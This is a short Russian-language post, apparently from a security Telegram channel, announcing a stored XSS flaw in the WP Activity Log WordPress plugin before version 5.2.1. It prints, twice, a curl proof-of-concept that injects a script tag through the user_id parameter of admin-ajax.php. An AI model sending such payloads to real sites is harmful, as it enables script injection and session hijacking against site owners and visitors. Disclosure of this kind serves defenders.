*
Плагин WP Activity Log для
WordPressХранимая XSS через параметр user_id во всех версиях до 5.2.1
curl -X POST 'http://example.com/wp-admin/admin-ajax.php' \
-d 'action=destroy-sessions&user_id=<script>alert("XSS found 1")</script>'
PR Proxy Bar @proxy_bar · 21.6K subscribers WordPresscurl -X POST 'http://example.com/wp-admin/admin-ajax.php' \
-d 'action=destroy-sessions&user_id=<script>alert("XSS found 1")</script>'